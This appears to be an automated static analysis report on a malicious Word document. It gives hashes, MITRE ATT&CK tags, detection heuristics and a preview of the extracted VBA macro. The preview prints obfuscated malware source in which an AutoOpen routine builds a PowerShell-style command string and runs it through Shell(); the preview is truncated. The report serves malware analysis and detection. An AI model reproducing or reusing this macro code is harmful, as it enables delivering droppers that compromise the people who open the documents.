Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e391d9cc505bdb2…

MALICIOUS

Office (OLE)

221.6 KB Created: 2018-06-29 18:44:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: ab03a2d9de29366bec340dbcd79f2a33 SHA-1: f20ba1c02540a0a572494facc26b6894f8436d01 SHA-256: 0e391d9cc505bdb20676f4b06e6b6a48556b3ea9e7f776a635e655347161e00a
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes a Shell() call, indicating an intent to execute arbitrary commands. The script attempts to construct a command string, likely for downloading and executing a secondary payload, which is a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-7143529-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7143529-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13508 bytes
SHA-256: cce18e8a56fc1b343ea6d3916b7fea3b94301e3cb5aa12a3003a24058508078c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sUDZkcEvwntJpj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "FqXMbWqdLm"
Function quCoK()
On Error Resume Next
TNLcAZ = GXztF = 7397 / FZXRO + 88163 / ChrW(53186) / nvoPHJ + ChrW(cnEht) * 56649 + ChrB(5161 * CInt(IGVMU) * 70802 - Hex(CXTbWa)) + pDrMf - Int(PnlSz) * (vJpYKp - UOLsh)
CqtQv = ntSwAp - zdpVUD / (ipoMz + Oct(mTGvi) - 21091 + Log(FdjWW))
VDDEWzRwnt = EcXnRp + Chr(Rwdzj + vbKeyP + zcJWBbCU) + "owe" + "rs"
mKtdKp = crZisq = 80092 / YNCjR + 73348 / ChrW(86386) / mWUpf + ChrW(UtTwiQ) * 9340 + ChrB(78435 * CInt(dXQju) * 89470 - Hex(DnVrhP)) + pFEtqG - Int(qACBX) * (LuMZNj - YJBFw)
KTjTo = FMdtaW - iEmXN / (XPQIbw + Oct(zNIjEw) - 91513 + Log(wnJjO))
SSiBl = wBwlm = 75503 / aKuKEX + 18170 / ChrW(94328) / Dwobaz + ChrW(RcrzYF) * 92832 + ChrB(65787 * CInt(ptfvR) * 43874 - Hex(QYUHCc)) + IFJaO - Int(MKbBQf) * (uoBVN - DPidB)
hCYDG = joYitO - hwvfRd / (lNzcWz + Oct(qZpdbI) - 1935 + Log(ioGVLj))
quCoK = jNjVpr + VDDEWzRwnt + lOGRr + GjvijnkM + OJZDtiifkTm
kMunqj = IjNzW = 77546 / DvjGw + 87116 / ChrW(30043) / FSGdzN + ChrW(YvRzu) * 55938 + ChrB(75497 * CInt(jIMbQF) * 31626 - Hex(mMOfsZ)) + PnbCG - Int(hNjBBL) * (hWtqP - zwjSw)
oqTQki = wjCMT - jGBufa / (uwtPT + Oct(PjbQj) - 40502 + Log(ZSkNww))
End Function
Sub AutoOpen()
On Error Resume Next
nMlfK = PjFwE = 6586 / jhpzEz + 23268 / ChrW(35467) / WQWqrA + ChrW(VnwjH) * 53631 + ChrB(66533 * CInt(OEtJj) * 50613 - Hex(Mcdssc)) + JzkAFp - Int(JTiOV) * (IFTkHz - izECmH)
EtNwIl = izzGWt - FkLuKq / (GIslt + Oct(FJuhOw) - 96079 + Log(PGjGk))
Application.Run "Ykjwhfih", quCoK
dGUdl = jdPtI = 53567 / UwkVN + 29424 / ChrW(72516) / VESsYv + ChrW(pibnao) * 87426 + ChrB(98423 * CInt(OznQbu) * 3462 - Hex(mjdRi)) + VrwZIC - Int(lNKFn) * (RUBdaz - GObUBa)
tGrRM = tFwcO - wndmcL / (JkEkDD + Oct(iiHPd) - 46690 + Log(AIfVss))
End Sub
Function Ykjwhfih(YEvWONY)
On Error Resume Next
rLXZOp = IdbzJ = 24836 / SpVnO + 90300 / ChrW(55018) / zhwqC + ChrW(fwQjSM) * 33587 + ChrB(46603 * CInt(LpNOaA) * 61757 - Hex(ULPiS)) + iizzc - Int(qaXmG) * (fLPqAA - JJwAjC)
RRifn = MoiEU - pKpkR / (HwVVAd + Oct(PoIzj) - 58630 + Log(zOwYw))
zsQqcK = oLjTY = 63720 / YFswQ + 2389 / ChrW(39554) / ZDowa + ChrW(PaNQo) * 46956 + ChrB(51873 * CInt(ffsqH) * 42779 - Hex(EoaCE)) + rVzIuY - Int(TMBdjT) * (kWCkI - JZMEZu)
TVOOwV = YFNIt - wvTiO / (nzTim + Oct(tGjRJv) - 65679 + Log(ZIzzn))
tsKHvAPtXt = kvUzcE + Shell(XGzwWoJt + YEvWONY + zhdnXEtlm, 809207226 - 809207226) + LdEjdrTK
NJAfIt = IzOGip = 36437 / AAncX + 4552 / ChrW(30282) / GvSasa + ChrW(zVrhti) * 94209 + ChrB(77012 * CInt(sAlGV) * 20574 - Hex(GPuZIK)) + Pfwit - Int(qTziJQ) * (rIZbDM - kXRJF)
VMLwAi = AbBuwD - jYCCw / (ZjzpT + Oct(wzksO) - 78097 + Log(zOiHzh))
End Function

Function lOGRr()
On Error Resume Next
KlCYk = WufCM - jGPuZM / (aGNwzC + Oct(WbiuG) - 80218 + Log(iaKjcz))
jzKAQ = amjjn = 13440 / OckdV + 71619 / ChrW(40850) / qtZEhL + ChrW(QPVkkh) * 57471 + ChrB(71262 * CInt(LdauAu) * 39039 - Hex(SinHP)) + aFhVtE - Int(wjAhVT) * (CWhkr - SrKbfv)
qzYMh = "hell " + " -jo" + "IN" + Chr(40) + "'117" + "y3V30c3" + "5y108V63" + "{52{38c1" + "24!62~51{" + "59!52{50" + "{37!113" + "V31V52" + "&37~" + "127~6V"
WacFhK = BjnpnS - hFFdow / (ZCTswk + Oct(YJwnMw) - 60045 + Log(IRQDTG))
zSWTU = KnCzl = 28380 / VSwpF + 41407 / ChrW(39828) / vLlwWm + ChrW(fEOwP) * 18916 + ChrB(56260 * CInt(qccCFj) * 46668 - Hex(IrpcMd)) + aHcrC - Int(lWwNJ) * (wjozq - iFMdTP)
jphpWzo = "52>51y" + "18c6" + "1>56<5" + "2~63Q" + "37c106&" + "117Q" + "20!4" + "8Q33Q" + "108{1"
htNszi = HQrVBW - ZwpVkK / (CiwqL + Oct(ZYpYR) - 20795 + Log(EIHDE))
vzMXQ = AGziTT = 94228 / IMjZH + 56237 / ChrW(50066) / BaWvAz + ChrW(NlcUKG) * 39196 + ChrB(61515 * CInt(TlXCwJ) * 86696 - Hex(iIzFhi)) + dpEzl - Int(UvCSm) * (rwmRoj - FWFXu)
UPcAUYuAD = "18{57" + "!37c37" + ">33{107Q1" + "26~1" + "26>3" + "8<38y3" + "8<127" + "c59V5" + 
... (truncated)